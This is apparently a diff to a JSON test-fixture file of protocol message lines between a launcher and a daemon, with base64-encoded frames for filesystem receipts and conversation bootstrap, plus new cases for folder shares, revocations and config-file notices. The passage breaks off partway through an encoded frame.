"{\"v\":2,\"t\":\"mux_up\",\"frame\":\"V01YMQEBAAACAAAAhAkAAHsidiI6MiwidCI6InJlY2VpcHQiLCJvcGVyYXRpb25JZCI6ImZpbGVzeXN0ZW1fNTU1NTU1NTUtNTU1NS00NTU1LTg1NTUtNTU1NTU1NTU1NTU1Iiwibm9uY2UiOiIwZjBmMGYwZjBmMGYwZjBmMGYwZjBmMGYwZjBmMGYwZiIsInJlY2VpcHQiOnsiY2hlY2tNb2RlIjoibm9ybWFsIiwiZXh0NEZlYXR1cmVzIjpbIjY0Yml0IiwiZGlyX2luZGV4IiwiZGlyX25saW5rIiwiZXh0ZW50IiwiZXh0cmFfaXNpemUiLCJmaWxldHlwZSIsImZsZXhfYmciLCJoYXNfam91cm5hbCIsImh1Z2VfZmlsZSIsImxhcmdlX2ZpbGUiLCJtZXRhZGF0YV9jc3VtIiwic3BhcnNlX3N1cGVyIl0sImhvbWVJZCI6ImhvbWVfOTk5OTk5OTktOTk5OS00OTk5LTg5OTktOTk5OTk5OTk5OTk5Iiwib3BlcmF0aW9uSWQiOiJmaWxlc3lzdGVtXzU1NTU1NTU1LTU1NTUtNDU1NS04NTU1LTU1NTU1NTU1NTU1NSIsIm93bmVyIjp7ImNvbnRyb2xsZXJJbnN0YW5jZUlkIjoiY3RsLTBiMGIwYjBiLTBiMGItNGIwYi04YjBiLTBiMGIwYjBiMGIwYi1hMWIyYzNkNCIsImluY2FybmF0aW9uSWQiOiJpbmMtMjIyMjIyMjItMjIyMi00MjIyLTgyMjItMjIyMjIyMjIyMjIyIiwibGVhc2VFcG9jaCI6MywicnVudGltZUltYWdlRGlnZXN0IjoiYWJhYmFiYWJhYmFiYWJhYmFiYWJhYmFiYWJhYmFiYWJhYmFiYWJhYmFiYWJhYmFiYWJhYmFiYWJhYmFiYWJhYiIsIndvcmtlckluc3RhbmNlSWQiOiJ3cmstNDQ0NDQ0NDQtNDQ0NC00NDQ0LTg0NDQtNDQ0NDQ0NDQ0NDQ0In0sInByaW9yUmVwbGF5IjpudWxsLCJwcm90b2NvbFZlcnNpb24iOjMsInJlcXVpcmVkTW91bnRPcHRpb25zIjpbIm5vaW5pdF9pdGFibGUiXSwidmlyZ2luWmVyb1Byb3ZlbmFuY2UiOiJuZXctc3BhcnNlLWNyZWF0aW9uIiwidm9sdW1lcyI6W3siYWN0aW9uIjoiZm9ybWF0LW5ldyIsImNhcGFjaXR5Qnl0ZXMiOjE3MTc5ODY5MTg0LCJjaGVja2VkIjp0cnVlLCJjcmVhdGlvbklkIjoiY3JlYXRpb25fYWFhYWFhYWEiLCJleHBlY3RlZEZpbGVzeXN0ZW1VVUlEIjoiMTExMTExMTEtMjIyMi00MzMzLTg0NDQtNTU1NTU1NTU1NTU1IiwiZmlsZXN5c3RlbUJsb2NrQnl0ZXMiOjQwOTYsImZpbGVzeXN0ZW1GZWF0dXJlcyI6WyI2NGJpdCIsImRpcl9pbmRleCIsImRpcl9ubGluayIsImV4dGVudCIsImV4dHJhX2lzaXplIiwiZmlsZXR5cGUiLCJmbGV4X2JnIiwiaGFzX2pvdXJuYWwiLCJodWdlX2ZpbGUiLCJsYXJnZV9maWxlIiwibWV0YWRhdGFfY3N1bSIsInNwYXJzZV9zdXBlciJdLCJmaWxlc3lzdGVtVHlwZSI6ImV4dDQiLCJmaWxlc3lzdGVtVVVJRCI6IjExMTExMTExLTIyMjItNDMzMy04NDQ0LTU1NTU1NTU1NTU1NSIsImZsdXNoQ29uZmlybWVkIjp0cnVlLCJmdWxsUmVhZE9ubHlDaGVjayI6ZmFsc2UsImlkZW50aXR5Ijp7ImRldmljZSI6IjE2Nzc3MjM0IiwiaW5vZGUiOiI5MDA3MTk5MjU0NzQwOTkzIiwibW9kZSI6Mzg0LCJ1aWQiOjUwMX0sImpvdXJuYWxSZXBsYXkiOiJub25lIiwiam91cm5hbFJlcGxheWVkIjpmYWxzZSwicHVycG9zZSI6ImRhdGEiLCJyZWFkeU9wZXJhdGlvbklkIjpudWxsLCJzZWN0b3JCeXRlcyI6NTEyLCJ0cmFuc2llbnRGaWxlc3lzdGVtRmVhdHVyZXMiOltdLCJ2b2x1bWVJZCI6InZvbHVtZV9iYmJiYmJiYiJ9LHsiYWN0aW9uIjoiZm9ybWF0LW5ldyIsImNhcGFjaXR5Qnl0ZXMiOjg1ODk5MzQ1OTIsImNoZWNrZWQiOnRydWUsImNyZWF0aW9uSWQiOiJjcmVhdGlvbl9jY2NjY2NjYyIsImV4cGVjdGVkRmlsZXN5c3RlbVVVSUQiOiI2NjY2NjY2Ni03Nzc3LTQ4ODgtODk5OS1hYWFhYWFhYWFhYWEiLCJmaWxlc3lzdGVtQmxvY2tCeXRlcyI6NDA5NiwiZmlsZXN5c3RlbUZlYXR1cmVzIjpbIjY0Yml0IiwiZGlyX2luZGV4IiwiZGlyX25saW5rIiwiZXh0ZW50IiwiZXh0cmFfaXNpemUiLCJmaWxldHlwZSIsImZsZXhfYmciLCJoYXNfam91cm5hbCIsImh1Z2VfZmlsZSIsImxhcmdlX2ZpbGUiLCJtZXRhZGF0YV9jc3VtIiwic3BhcnNlX3N1cGVyIl0sImZpbGVzeXN0ZW1UeXBlIjoiZXh0NCIsImZpbGVzeXN0ZW1VVUlEIjoiNjY2NjY2NjYtNzc3Ny00ODg4LTg5OTktYWFhYWFhYWFhYWFhIiwiZmx1c2hDb25maXJtZWQiOnRydWUsImZ1bGxSZWFkT25seUNoZWNrIjpmYWxzZSwiaWRlbnRpdHkiOnsiZGV2aWNlIjoiMTY3NzcyMzQiLCJpbm9kZSI6IjE4NDQ2NzQ0MDczNzA5NTUxNjE1IiwibW9kZSI6Mzg0LCJ1aWQiOjUwMX0sImpvdXJuYWxSZXBsYXkiOiJub25lIiwiam91cm5hbFJlcGxheWVkIjpmYWxzZSwicHVycG9zZSI6ImVudmlyb25tZW50IiwicmVhZHlPcGVyYXRpb25JZCI6bnVsbCwic2VjdG9yQnl0ZXMiOjUxMiwidHJhbnNpZW50RmlsZXN5c3RlbUZlYXR1cmVzIjpbXSwidm9sdW1lSWQiOiJ2b2x1bWVfZGRkZGRkZGQifV0sIndvcmtzcGFjZUlkIjoid29ya3NwYWNlXzExMTExMTExLTExMTEtNDExMS04MTExLTExMTExMTExMTExMSJ9fQ==\"}\n", "t": "mux_up" }, { @@ -97,14 +97,14 @@ "name": "mux-down-bootstrap-conversations", "direction": "to-launcher", "rights": 0, - "line": "{\"v\":2,\"t\":\"mux_down\",\"frame\":\"V01YMQEBAAADAAAAOQYAAHsidiI6MSwidCI6ImNvbnZlcnNhdGlvbnMiLCJvcGVyYXRpb25JZCI6ImZpbGVzeXN0ZW1fNTU1NTU1NTUtNTU1NS00NTU1LTg1NTUtNTU1NTU1NTU1NTU1Iiwibm9uY2UiOiIwZjBmMGYwZjBmMGYwZjBmMGYwZjBmMGYwZjBmMGYwZiIsImluY2FybmF0aW9uSWQiOiJpbmMtMjIyMjIyMjItMjIyMi00MjIyLTgyMjItMjIyMjIyMjIyMjIyIiwicHJvZmlsZSI6Imhvc3QtcXVlcnktZ3VpZGVkLXYxIiwiY29udmVyc2F0aW9ucyI6W3sibG9naWNhbFNlc3Npb25JZCI6ImNvbnYtMDAwMSIsImF1dGhvcml0eSI6eyJ3b3Jrc3BhY2VJZCI6IndvcmtzcGFjZV8xMTExMTExMS0xMTExLTQxMTEtODExMS0xMTExMTExMTExMTEiLCJzZXNzaW9uSWQiOiJiYWNrZW5kLTAwMDEiLCJpbmNhcm5hdGlvbklkIjoiaW5jLTIyMjIyMjIyLTIyMjItNDIyMi04MjIyLTIyMjIyMjIyMjIyMiIsImxlYXNlRXBvY2giOjMsImNvbmZpZ1JldmlzaW9uIjo0LCJncmFudFJldmlzaW9uIjo1LCJwb2xpY3lSZXZpc2lvbiI6Nn0sInJ1bnRpbWVVaWQiOjIwMDAwLCJ0b29sVWlkIjoyMDAwMSwid29ya3NwYWNlR2lkIjoyNTAwMCwicG9saWN5IjoiYXV0byIsInJvb3RzIjpbeyJpZCI6InJvb3Qtbm90ZXMiLCJndWVzdFBhdGgiOiIvd29ya3NwYWNlL2ZvbGRlcnMvbm90ZXMiLCJzb3VyY2UiOiIvd29ya3NwYWNlL2ZvbGRlcnMvbm90ZXMiLCJyZWFkT25seSI6ZmFsc2V9LHsiaWQiOiJyb290LW91dHB1dHMiLCJndWVzdFBhdGgiOiIvd29ya3NwYWNlL291dHB1dHMvY29udi0wMDAxIiwic291cmNlIjoiL3dvcmtzcGFjZS9vdXRwdXRzL2NvbnYtMDAwMSIsInJlYWRPbmx5IjpmYWxzZX1dLCJydW50aW1lIjp7Im1vZGVsIjoibW9kZWwtYWxwaGEiLCJ0aW1lb3V0TXMiOjYwMDAwMCwidG9vbENsYXNzZXMiOlsicmVhZCIsIndyaXRlIiwiZXhlY3V0ZSJdLCJwcm92aWRlciI6eyJzY29wZSI6eyJhY2NvdW50UmV2aXNpb24iOjcsImJhY2tlbmRTZXNzaW9uSWQiOiJiYWNrZW5kLTAwMDEiLCJib290SWQiOiI2NjY2NjY2Ni02NjY2LTQ2NjYtODY2Ni02NjY2NjY2NjY2NjYiLCJncmFudFJldmlzaW9uIjo1LCJob21lSWQiOiJob21lXzk5OTk5OTk5LTk5OTktNDk5OS04OTk5LTk5OTk5OTk5OTk5OSIsImluY2FybmF0aW9uSWQiOiJpbmMtMjIyMjIyMjItMjIyMi00MjIyLTgyMjItMjIyMjIyMjIyMjIyIiwibGVhc2VFcG9jaCI6MywibW9kZWxSZXZpc2lvbiI6OCwic2Vzc2lvbklkIjoiY29udi0wMDAxIiwidGFza0lkIjoidGFzay0wMDAxIiwid29ya3NwYWNlSWQiOiJ3b3Jrc3BhY2VfMTExMTExMTEtMTExMS00MTExLTgxMTEtMTExMTExMTExMTExIn0sInNlbGVjdGlvbiI6eyJjYXBhYmlsaXRpZXMiOlsidG9vbHMiLCJzdHJlYW1pbmciXSwiZmFtaWx5IjoiZmFtaWx5LWFscGhhIiwibW9kZWxLZXkiOiJtb2RlbC1hbHBoYSIsInByb3RvY29sIjoicHJvdG9jb2wtYWxwaGEiLCJwcm92aWRlcklkIjoicHJvdmlkZXItYWxwaGEiLCJwcm92aWRlck1vZGVsSWQiOiJwcm92aWRlci1tb2RlbC1hbHBoYSJ9fSwiZ3VpZGVkIjp7ImJpbmRpbmdJZCI6IjNmMmI4YzFlLTVkNGEtNGU2Zi05YTdiLTFjMmQzZTRmNWE2YiIsImdlbmVyYXRpb24iOjF9fX1dfQ==\"}\n", + "line": "{\"v\":2,\"t\":\"mux_down\",\"frame\":\"V01YMQEBAAADAAAAdgYAAHsidiI6MiwidCI6ImNvbnZlcnNhdGlvbnMiLCJvcGVyYXRpb25JZCI6ImZpbGVzeXN0ZW1fNTU1NTU1NTUtNTU1NS00NTU1LTg1NTUtNTU1NTU1NTU1NTU1Iiwibm9uY2UiOiIwZjBmMGYwZjBmMGYwZjBmMGYwZjBmMGYwZjBmMGYwZiIsImluY2FybmF0aW9uSWQiOiJpbmMtMjIyMjIyMjItMjIyMi00MjIyLTgyMjItMjIyMjIyMjIyMjIyIiwicHJvZmlsZSI6Imhvc3QtcXVlcnktZ3VpZGVkLXYxIiwiYnJvd3NlVWlkIjpudWxsLCJjb252ZXJzYXRpb25zIjpbeyJsb2dpY2FsU2Vzc2lvbklkIjoiY29udi0wMDAxIiwiYXV0aG9yaXR5Ijp7IndvcmtzcGFjZUlkIjoid29ya3NwYWNlXzExMTExMTExLTExMTEtNDExMS04MTExLTExMTExMTExMTExMSIsInNlc3Npb25JZCI6ImJhY2tlbmQtMDAwMSIsImluY2FybmF0aW9uSWQiOiJpbmMtMjIyMjIyMjItMjIyMi00MjIyLTgyMjItMjIyMjIyMjIyMjIyIiwibGVhc2VFcG9jaCI6MywiY29uZmlnUmV2aXNpb24iOjQsImdyYW50UmV2aXNpb24iOjUsInBvbGljeVJldmlzaW9uIjo2fSwicnVudGltZVVpZCI6MjAwMDAsInRvb2xVaWQiOjIwMDAxLCJ3b3Jrc3BhY2VHaWQiOjI1MDAwLCJwb2xpY3kiOiJhdXRvIiwicm9vdHMiOlt7ImlkIjoicm9vdC1ub3RlcyIsImd1ZXN0UGF0aCI6Ii93b3Jrc3BhY2UvZm9sZGVycy9ub3RlcyIsInNvdXJjZSI6Ii93b3Jrc3BhY2UvZm9sZGVycy9ub3RlcyIsInJlYWRPbmx5IjpmYWxzZX0seyJpZCI6InJvb3Qtb3V0cHV0cyIsImd1ZXN0UGF0aCI6Ii93b3Jrc3BhY2Uvb3V0cHV0cy9jb252LTAwMDEiLCJzb3VyY2UiOiIvd29ya3NwYWNlL291dHB1dHMvY29udi0wMDAxIiwicmVhZE9ubHkiOmZhbHNlfV0sInJ1bnRpbWUiOnsibW9kZWwiOiJtb2RlbC1hbHBoYSIsInRpbWVvdXRNcyI6NjAwMDAwLCJ0b29sQ2xhc3NlcyI6WyJyZWFkIiwid3JpdGUiLCJleGVjdXRlIl0sInByb3ZpZGVyIjp7InNjb3BlIjp7ImFjY291bnRSZXZpc2lvbiI6NywiYmFja2VuZFNlc3Npb25JZCI6ImJhY2tlbmQtMDAwMSIsImJvb3RJZCI6IjY2NjY2NjY2LTY2NjYtNDY2Ni04NjY2LTY2NjY2NjY2NjY2NiIsImdyYW50UmV2aXNpb24iOjUsImhvbWVJZCI6ImhvbWVfOTk5OTk5OTktOTk5OS00OTk5LTg5OTktOTk5OTk5OTk5OTk5IiwiaW5jYXJuYXRpb25JZCI6ImluYy0yMjIyMjIyMi0yMjIyLTQyMjItODIyMi0yMjIyMjIyMjIyMjIiLCJsZWFzZUVwb2NoIjozLCJtb2RlbFJldmlzaW9uIjo4LCJzZXNzaW9uSWQiOiJjb252LTAwMDEiLCJ0YXNrSWQiOiJ0YXNrLTAwMDEiLCJ3b3Jrc3BhY2VJZCI6IndvcmtzcGFjZV8xMTExMTExMS0xMTExLTQxMTEtODExMS0xMTExMTExMTExMTEifSwic2VsZWN0aW9uIjp7ImNhcGFiaWxpdGllcyI6WyJ0b29scyIsInN0cmVhbWluZyJdLCJmYW1pbHkiOiJmYW1pbHktYWxwaGEiLCJtb2RlbEtleSI6Im1vZGVsLWFscGhhIiwicHJvdG9jb2wiOiJwcm90b2NvbC1hbHBoYSIsInByb3ZpZGVySWQiOiJwcm92aWRlci1hbHBoYSIsInByb3ZpZGVyTW9kZWxJZCI6InByb3ZpZGVyLW1vZGVsLWFscGhhIn19LCJndWlkZWQiOnsiYmluZGluZ0lkIjoiM2YyYjhjMWUtNWQ0YS00ZTZmLTlhN2ItMWMyZDNlNGY1YTZiIiwiZ2VuZXJhdGlvbiI6MX0sImNvbnRpbnVhdGlvbiI6ImZyZXNoIiwiZW5kZWRHdWVzdEJvb3RzIjpbXX19XX0=\"}\n", "t": "mux_down" }, { "name": "mux-up-bootstrap-runtime-ready", "direction": "to-daemon", "rights": 0, - "line": "{\"v\":2,\"t\":\"mux_up\",\"frame\":\"V01YMQEBAAAFAAAAmAAAAHsidiI6MSwidCI6InJ1bnRpbWVfcmVhZHkiLCJvcGVyYXRpb25JZCI6ImZpbGVzeXN0ZW1fNTU1NTU1NTUtNTU1NS00NTU1LTg1NTUtNTU1NTU1NTU1NTU1Iiwibm9uY2UiOiIwZjBmMGYwZjBmMGYwZjBmMGYwZjBmMGYwZjBmMGYwZiIsImNvbnZlcnNhdGlvbnMiOjF9\"}\n", + "line": "{\"v\":2,\"t\":\"mux_up\",\"frame\":\"V01YMQEBAAAFAAAAqwAAAHsidiI6MiwidCI6InJ1bnRpbWVfcmVhZHkiLCJvcGVyYXRpb25JZCI6ImZpbGVzeXN0ZW1fNTU1NTU1NTUtNTU1NS00NTU1LTg1NTUtNTU1NTU1NTU1NTU1Iiwibm9uY2UiOiIwZjBmMGYwZjBmMGYwZjBmMGYwZjBmMGYwZjBmMGYwZiIsImNvbnZlcnNhdGlvbnMiOjEsImNvbnRpbnVhdGlvbnMiOltdfQ==\"}\n", "t": "mux_up" }, { @@ -225,6 +225,76 @@ "rights": 0, "line": "{\"v\":2,\"t\":\"worker_state\",\"state\":\"guest_fault\"}\n", "t": "worker_state" + }, + { + "name": "shares-two-records", + "direction": "to-launcher", + "rights": 2, + "line": "{\"v\":2,\"t\":\"shares\",\"id\":\"req-shares-1\",\"shares\":[{\"tag\":\"src-0\",\"kind\":\"folder\",\"mode\":\"rw\",\"device\":\"16777234\",\"inode\":\"4242\",\"path\":\"/Users/someone/Projects/notes\",\"guestPath\":\"/workspace/folders/notes\"},{\"tag\":\"winter-guidance\",\"kind\":\"guidance\",\"mode\":\"ro\",\"device\":\"16777234\",\"inode\":\"5151\",\"path\":\"/Users/someone/.winter/cowork/workspaces/ws-1/shared/instructions\",\"guestPath\":\"/run/winter/shared-instructions\"}]}\n", + "t": "shares" + }, + { + "name": "share-revoke", + "direction": "to-launcher", + "rights": 0, + "line": "{\"v\":2,\"t\":\"share_revoke\",\"id\":\"req-revoke-1\",\"tag\":\"src-0\"}\n", + "t": "share_revoke" + }, + { + "name": "share-revoked", + "direction": "to-daemon", + "rights": 0, + "line": "{\"v\":2,\"t\":\"share_revoked\",\"tag\":\"src-0\"}\n", + "t": "share_revoked" + }, + { + "name": "share-notice-envrc", + "direction": "to-daemon", + "rights": 0, + "line": "{\"v\":2,\"t\":\"share_notice\",\"tag\":\"src-0\",\"kind\":\"envrc\"}\n", + "t": "share_notice" + }, + { + "name": "share-notice-vscode-tasks", + "direction": "to-daemon", + "rights": 0, + "line": "{\"v\":2,\"t\":\"share_notice\",\"tag\":\"src-0\",\"kind\":\"vscode_tasks\"}\n", + "t": "share_notice" + }, + { + "name": "share-notice-vscode-settings", + "direction": "to-daemon", + "rights": 0, + "line": "{\"v\":2,\"t\":\"share_notice\",\"tag\":\"src-0\",\"kind\":\"vscode_settings\"}\n", + "t": "share_notice" + }, + { + "name": "share-notice-code-workspace", + "direction": "to-daemon", + "rights": 0, + "line": "{\"v\":2,\"t\":\"share_notice\",\"tag\":\"src-0\",\"kind\":\"code_workspace\"}\n", + "t": "share_notice" + }, + { + "name": "share-notice-idea-project", + "direction": "to-daemon", + "rights": 0, + "line": "{\"v\":2,\"t\":\"share_notice\",\"tag\":\"src-0\",\"kind\":\"idea_project\"}\n", + "t": "share_notice" + }, + { + "name": "share-notice-git-protected", + "direction": "to-daemon", + "rights": 0, + "line": "{\"v\":2,\"t\":\"share_notice\",\"tag\":\"src-0\",\"kind\":\"git_protected\"}\n", + "t": "share_notice" + }, + { + "name": "refused-shares-rejected", + "direction": "to-daemon", + "rights": 0, + "line": "{\"v\":2,\"t\":\"refused\",\"id\":\"req-shares-1\",\"code\":\"shares_rejected\"}\n", + "t": "refused" } ], "negative": [ @@ -596,7 +666,7 @@ "name": "mux-down-line-carrying-up-only-bootstrap-type", "direction": "to-launcher", "rights": 0, - "line": "{\"v\":2,\"t\":\"mux_down\",\"frame\":\"V01YMQEBAAACAAAAhAkAAHsidiI6MSwidCI6InJlY2VpcHQiLCJvcGVyYXRpb25JZCI6ImZpbGVzeXN0ZW1fNTU1NTU1NTUtNTU1NS00NTU1LTg1NTUtNTU1NTU1NTU1NTU1Iiwibm9uY2UiOiIwZjBmMGYwZjBmMGYwZjBmMGYwZjBmMGYwZjBmMGYwZiIsInJlY2VpcHQiOnsiY2hlY2tNb2RlIjoibm9ybWFsIiwiZXh0NEZlYXR1cmVzIjpbIjY0Yml0IiwiZGlyX2luZGV4IiwiZGlyX25saW5rIiwiZXh0ZW50IiwiZXh0cmFfaXNpemUiLCJmaWxldHlwZSIsImZsZXhfYmciLCJoYXNfam91cm5hbCIsImh1Z2VfZmlsZSIsImxhcmdlX2ZpbGUiLCJtZXRhZGF0YV9jc3VtIiwic3BhcnNlX3N1cGVyIl0sImhvbWVJZCI6ImhvbWVfOTk5OTk5OTktOTk5OS00OTk5LTg5OTktOTk5OTk5OTk5OTk5Iiwib3BlcmF0aW9uSWQiOiJmaWxlc3lzdGVtXzU1NTU1NTU1LTU1NTUtNDU1NS04NTU1LTU1NTU1NTU1NTU1NSIsIm93bmVyIjp7ImNvbnRyb2xsZXJJbnN0YW5jZUlkIjoiY3RsLTBiMGIwYjBiLTBiMGItNGIwYi04YjBiLTBiMGIwYjBiMGIwYi1hMWIyYzNkNCIsImluY2FybmF0aW9uSWQiOiJpbmMtMjIyMjIyMjItMjIyMi00MjIyLTgyMjItMjIyMjIyMjIyMjIyIiwibGVhc2VFcG9jaCI6MywicnVudGltZUltYWdlRGlnZXN0IjoiYWJhYmFiYWJhYmFiYWJhYmFiYWJhYmFiYWJhYmFiYWJhYmFiYWJhYmFiYWJhYmFiYWJhYmFiYWJhYmFiYWJhYiIsIndvcmtlckluc3RhbmNlSWQiOiJ3cmstNDQ0NDQ0NDQtNDQ0NC00NDQ0LTg0NDQtNDQ0NDQ0NDQ0NDQ0In0sInByaW9yUmVwbGF5IjpudWxsLCJwcm90b2NvbFZlcnNpb24iOjMsInJlcXVpcmVkTW91bnRPcHRpb25zIjpbIm5vaW5pdF9pdGFibGUiXSwidmlyZ2luWmVyb1Byb3ZlbmFuY2UiOiJuZXctc3BhcnNlLWNyZWF0aW9uIiwidm9sdW1lcyI6W3siYWN0aW9uIjoiZm9ybWF0LW5ldyIsImNhcGFjaXR5Qnl0ZXMiOjE3MTc5ODY5MTg0LCJjaGVja2VkIjp0cnVlLCJjcmVhdGlvbklkIjoiY3JlYXRpb25fYWFhYWFhYWEiLCJleHBlY3RlZEZpbGVzeXN0ZW1VVUlEIjoiMTExMTExMTEtMjIyMi00MzMzLTg0NDQtNTU1NTU1NTU1NTU1IiwiZmlsZXN5c3RlbUJsb2NrQnl0ZXMiOjQwOTYsImZpbGVzeXN0ZW1GZWF0dXJlcyI6WyI2NGJpdCIsImRpcl9pbmRleCIsImRpcl9ubGluayIsImV4dGVudCIsImV4dHJhX2lzaXplIiwiZmlsZXR5cGUiLCJmbGV4X2JnIiwiaGFzX2pvdXJuYWwiLCJodWdlX2ZpbGUiLCJsYXJnZV9maWxlIiwibWV0YWRhdGFfY3N1bSIsInNwYXJzZV9zdXBlciJdLCJmaWxlc3lzdGVtVHlwZSI6ImV4dDQiLCJmaWxlc3lzdGVtVVVJRCI6IjExMTExMTExLTIyMjItNDMzMy04NDQ0LTU1NTU1NTU1NTU1NSIsImZsdXNoQ29uZmlybWVkIjp0cnVlLCJmdWxsUmVhZE9ubHlDaGVjayI6ZmFsc2UsImlkZW50aXR5Ijp7ImRldmljZSI6IjE2Nzc3MjM0IiwiaW5vZGUiOiI5MDA3MTk5MjU0NzQwOTkzIiwibW9kZSI6Mzg0LCJ1aWQiOjUwMX0sImpvdXJuYWxSZXBsYXkiOiJub25lIiwiam91cm5hbFJlcGxheWVkIjpmYWxzZSwicHVycG9zZSI6ImRhdGEiLCJyZWFkeU9wZXJhdGlvbklkIjpudWxsLCJzZWN0b3JCeXRlcyI6NTEyLCJ0cmFuc2llbnRGaWxlc3lzdGVtRmVhdHVyZXMiOltdLCJ2b2x1bWVJZCI6InZvbHVtZV9iYmJiYmJiYiJ9LHsiYWN0aW9uIjoiZm9ybWF0LW5ldyIsImNhcGFjaXR5Qnl0ZXMiOjg1ODk5MzQ1OTIsImNoZWNrZWQiOnRydWUsImNyZWF0aW9uSWQiOiJjcmVhdGlvbl9jY2NjY2NjYyIsImV4cGVjdGVkRmlsZXN5c3RlbVVVSUQiOiI2NjY2NjY2Ni03Nzc3LTQ4ODgtODk5OS1hYWFhYWFhYWFhYWEiLCJmaWxlc3lzdGVtQmxvY2tCeXRlcyI6NDA5NiwiZmlsZXN5c3RlbUZlYXR1cmVzIjpbIjY0Yml0IiwiZGlyX2luZGV4IiwiZGlyX25saW5rIiwiZXh0ZW50IiwiZXh0cmFfaXNpemUiLCJmaWxldHlwZSIsImZsZXhfYmciLCJoYXNfam91cm5hbCIsImh1Z2VfZmlsZSIsImxhcmdlX2ZpbGUiLCJtZXRhZGF0YV9jc3VtIiwic3BhcnNlX3N1cGVyIl0sImZpbGVzeXN0ZW1UeXBlIjoiZXh0NCIsImZpbGVzeXN0ZW1VVUlEIjoiNjY2NjY2NjYtNzc3Ny00ODg4LTg5OTktYWFhYWFhYWFhYWFhIiwiZmx1c2hDb25maXJtZWQiOnRydWUsImZ1bGxSZWFkT25seUNoZWNrIjpmYWxzZSwiaWRlbnRpdHkiOnsiZGV2aWNlIjoiMTY3NzcyMzQiLCJpbm9kZSI6IjE4NDQ2NzQ0MDczNzA5NTUxNjE1IiwibW9kZSI6Mzg0LCJ1aWQiOjUwMX0sImpvdXJuYWxSZXBsYXkiOiJub25lIiwiam91cm5hbFJlcGxheWVkIjpmYWxzZSwicHVycG9zZSI6ImVudmlyb25tZW50IiwicmVhZHlPcGVyYXRpb25JZCI6bnVsbCwic2VjdG9yQnl0ZXMiOjUxMiwidHJhbnNpZW50RmlsZXN5c3RlbUZlYXR1cmVzIjpbXSwidm9sdW1lSWQiOiJ2b2x1bWVfZGRkZGRkZGQifV0sIndvcmtzcGFjZUlkIjoid29ya3NwYWNlXzExMTExMTExLTExMTEtNDExMS04MTExLTExMTExMTExMTExMSJ9fQ==\"}\n", + "line": "{\"v\":2,\"t\":\"mux_down\",\"frame\":\"V01YMQEBAAACAAAAhAkAAHsidiI6MiwidCI6InJlY2VpcHQiLCJvcGVyYXRpb25JZCI6ImZpbGVzeXN0ZW1fNTU1NTU1NTUtNTU1NS00NTU1LTg1NTUtNTU1NTU1NTU1NTU1Iiwibm9uY2UiOiIwZjBmMGYwZjBmMGYwZjBmMGYwZjBmMGYwZjBmMGYwZiIsInJlY2VpcHQiOnsiY2hlY2tNb2RlIjoibm9ybWFsIiwiZXh0NEZlYXR1cmVzIjpbIjY0Yml0IiwiZGlyX2luZGV4IiwiZGlyX25saW5rIiwiZXh0ZW50IiwiZXh0cmFfaXNpemUiLCJmaWxldHlwZSIsImZsZXhfYmciLCJoYXNfam91cm5hbCIsImh1Z2VfZmlsZSIsImxhcmdlX2ZpbGUiLCJtZXRhZGF0YV9jc3VtIiwic3BhcnNlX3N1cGVyIl0sImhvbWVJZCI6ImhvbWVfOTk5OTk5OTktOTk5OS00OTk5LTg5OTktOTk5OTk5OTk5OTk5Iiwib3BlcmF0aW9uSWQiOiJmaWxlc3lzdGVtXzU1NTU1NTU1LTU1NTUtNDU1NS04NTU1LTU1NTU1NTU1NTU1NSIsIm93bmVyIjp7ImNvbnRyb2xsZXJJbnN0YW5jZUlkIjoiY3RsLTBiMGIwYjBiLTBiMGItNGIwYi04YjBiLTBiMGIwYjBiMGIwYi1hMWIyYzNkNCIsImluY2FybmF0aW9uSWQiOiJpbmMtMjIyMjIyMjItMjIyMi00MjIyLTgyMjItMjIyMjIyMjIyMjIyIiwibGVhc2VFcG9jaCI6MywicnVudGltZUltYWdlRGlnZXN0IjoiYWJhYmFiYWJhYmFiYWJhYmFiYWJhYmFiYWJhYmFiYWJhYmFiYWJhYmFiYWJhYmFiYWJhYmFiYWJhYmFiYWJhYiIsIndvcmtlckluc3RhbmNlSWQiOiJ3cmstNDQ0NDQ0NDQtNDQ0NC00NDQ0LTg0NDQtNDQ0NDQ0NDQ0NDQ0In0sInByaW9yUmVwbGF5IjpudWxsLCJwcm90b2NvbFZlcnNpb24iOjMsInJlcXVpcmVkTW91bnRPcHRpb25zIjpbIm5vaW5pdF9pdGFibGUiXSwidmlyZ2luWmVyb1Byb3ZlbmFuY2UiOiJuZXctc3BhcnNlLWNyZWF0aW9uIiwidm9sdW1lcyI6W3siYWN0aW9uIjoiZm9ybWF0LW5ldyIsImNhcGFjaXR5Qnl0ZXMiOjE3MTc5ODY5MTg0LCJjaGVja2VkIjp0cnVlLCJjcmVhdGlvbklkIjoiY3JlYXRpb25fYWFhYWFhYWEiLCJleHBlY3RlZEZpbGVzeXN0ZW1VVUlEIjoiMTExMTExMTEtMjIyMi00MzMzLTg0NDQtNTU1NTU1NTU1NTU1IiwiZmlsZXN5c3RlbUJsb2NrQnl0ZXMiOjQwOTYsImZpbGVzeXN0ZW1GZWF0dXJlcyI6WyI2NGJpdCIsImRpcl9pbmRleCIsImRpcl9ubGluayIsImV4dGVudCIsImV4dHJhX2lzaXplIiwiZmlsZXR5cGUiLCJmbGV4X2JnIiwiaGFzX2pvdXJuYWwiLCJodWdlX2ZpbGUiLCJsYXJnZV9maWxlIiwibWV0YWRhdGFfY3N1bSIsInNwYXJzZV9zdXBlciJdLCJmaWxlc3lzdGVtVHlwZSI6ImV4dDQiLCJmaWxlc3lzdGVtVVVJRCI6IjExMTExMTExLTIyMjItNDMzMy04NDQ0LTU1NTU1NTU1NTU1NSIsImZsdXNoQ29uZmlybWVkIjp0cnVlLCJmdWxsUmVhZE9ubHlDaGVjayI6ZmFsc2UsImlkZW50aXR5Ijp7ImRldmljZSI6IjE2Nzc3MjM0IiwiaW5vZGUiOiI5MDA3MTk5MjU0NzQwOTkzIiwibW9kZSI6Mzg0LCJ1aWQiOjUwMX0sImpvdXJuYWxSZXBsYXkiOiJub25lIiwiam91cm5hbFJlcGxheWVkIjpmYWxzZSwicHVycG9zZSI6ImRhdGEiLCJyZWFkeU9wZXJhdGlvbklkIjpudWxsLCJzZWN0b3JCeXRlcyI6NTEyLCJ0cmFuc2llbnRGaWxlc3lzdGVtRmVhdHVyZXMiOltdLCJ2b2x1bWVJZCI6InZvbHVtZV9iYmJiYmJiYiJ9LHsiYWN0aW9uIjoiZm9ybWF0LW5ldyIsImNhcGFjaXR5Qnl0ZXMiOjg1ODk5MzQ1OTIsImNoZWNrZWQiOnRydWUsImNyZWF0aW9uSWQiOiJjcmVhdGlvbl9jY2NjY2NjYyIsImV4cGVjdGVkRmlsZXN5c3RlbVVVSUQ